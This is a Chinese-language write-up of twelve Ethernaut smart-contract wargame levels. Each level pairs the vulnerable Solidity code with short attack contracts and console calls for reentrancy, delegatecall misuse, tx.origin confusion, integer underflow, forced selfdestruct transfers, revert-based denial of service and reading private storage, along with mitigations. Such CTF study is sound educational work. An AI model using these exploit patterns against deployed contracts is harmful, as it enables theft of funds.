Ethernaut智能合约攻防题解（2022版）

1. Fallback合约

合约漏洞：通过receive函数可篡改合约所有者

关键代码：

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

攻击步骤：

1. 调用contribute()存入少量ETH（contract.contribute({value:1})）
2. 向合约地址转账1 ETH触发receive函数
3. 检查owner已变为攻击者地址
4. 调用withdraw()提取合约余额

技术要点：

• receive函数在合约收到空calldata的转账时触发
• 每个合约最多一个receive函数，声明方式为receive() external payable
• 如果没有receive但有payable fallback，转账会触发fallback

2. Fallout合约

合约漏洞：构造函数拼写错误（Fal1out中的1）使其成为普通可调用函数

攻击步骤：

1. 直接调用Fal1out()函数
2. 调用collectAllocations()提取资金

技术要点：

• 构造函数应使用constructor关键字或与合约同名
• 拼写错误使构造函数变为普通函数，可被任意调用

3. CoinFlip合约

合约漏洞：使用区块哈希作为随机数源可被预测

关键代码：

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);

攻击合约：

contract attack {
    function exp() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        bool side = blockValue.div(FACTOR) == 1;
        c.flip(side);
    }
}

技术要点：

• 同一区块内的交易看到的block.number.sub(1)相同
• 攻击合约与目标合约在同一交易中可预测结果
• 应在链下使用预言机提供随机数

4. Telephone合约

合约漏洞：混淆tx.origin和msg.sender

关键代码：

if (tx.origin != msg.sender) {
    owner = _owner;
}

攻击步骤：

1. 部署攻击合约调用changeOwner()
2. 攻击合约中msg.sender是攻击者，tx.origin是用户

技术要点：

• tx.origin是交易原始发起者
• msg.sender是直接调用者
• 调用链A→B→C中，对C来说：
  • tx.origin = A
  • msg.sender = B

5. Token合约

合约漏洞：整数下溢

关键代码：

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

攻击步骤：

1. 初始有20 token
2. 调用transfer(instance,21)触发下溢
3. balances[msg.sender]变为极大值

技术要点：

• Solidity 0.8+默认检查算术溢出
• 旧版本需使用SafeMath库
• 下溢后uint值变为\(2^{256}-1\)

6. Delegation合约

合约漏洞：delegatecall使用不当

关键代码：

(bool result,) = address(delegate).delegatecall(msg.data);

攻击步骤：

contract.sendTransaction({
    data: web3.utils.sha3("pwn()").slice(0,10)
});

技术要点：

• delegatecall保持调用者上下文
• 函数选择器是函数签名keccak256的前4字节
• 三种调用方式区别：
  • call：在目标合约上下文执行
  • delegatecall：在调用者上下文执行
  • staticcall：只读的call

7. Force合约

合约漏洞：空合约接收ETH

攻击方法：使用selfdestruct强制转账

攻击合约：

contract Attack {
    function exploit(address payable _target) public payable {
        selfdestruct(_target);
    }
}

技术要点：

• selfdestruct强制转账无视合约fallback
• 合约即使没有payable函数也能接收ETH
• 资金发送优先级高于常规转账

8. Vault合约

合约漏洞：私有变量可读取

攻击步骤：

await web3.eth.getStorageAt(contract.address,1)
await contract.unlock("0x...")

技术要点：

• 合约所有数据在链上公开
• 私有变量仅限制合约内访问
• 存储布局：
  • slot 0: locked
  • slot 1: password
• 字符串需转换为bytes32

9. King合约

合约漏洞：未处理转账失败

关键代码：

king.transfer(msg.value);
king = msg.sender;

攻击合约：

contract AttackKing {
    receive() external payable { revert(); }
}

技术要点：

• 攻击合约拒绝接收转账使流程中断
• 应使用"检查-生效-交互"模式
• 三种转账方式：
  • transfer：失败revert，gas限制2300
  • send：返回false，gas限制2300
  • call：无gas限制，需手动处理结果

10. Re-entrancy合约

合约漏洞：重入攻击

关键代码：

(bool result,) = msg.sender.call{value:_amount}("");
balances[msg.sender] -= _amount;

攻击合约：

fallback() external payable {
    target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
}

技术要点：

• 先转账后更新余额
• call无gas限制允许复杂操作
• 防御措施：
  1. 使用Checks-Effects-Interactions模式
  2. 添加重入锁
  3. 使用transfer/send限制gas

11. Elevator合约

合约漏洞：接口函数返回值不一致

关键代码：

if (!building.isLastFloor(_floor)) {
    top = building.isLastFloor(floor);
}

攻击合约：

function isLastFloor(uint) external returns (bool){
    x = !x;
    return x;
}

技术要点：

• 同一函数两次调用返回不同值
• 接口实现可包含状态变更
• 应使用view/pure修饰符限制函数行为

12. Privacy合约

合约漏洞：存储数据可读取

攻击步骤：

await web3.eth.getStorageAt(instance, 5)
await contract.unlock('0x...')

存储布局：

slot 0: locked (1 byte) + unused (31 bytes)
slot 1: ID (32 bytes)
slot 2: flattening (1 byte) + denomination (1 byte) + awkwardness (2 byte) + unused (28 bytes)
slot 3: data[0] (32 bytes)
slot 4: data[1] (32 bytes)
slot 5: data[2] (32 bytes)

技术要点：

• bytes16从高地址截取
• 静态数组元素连续存储
• 动态数组使用keccak256(slot)作为起始位置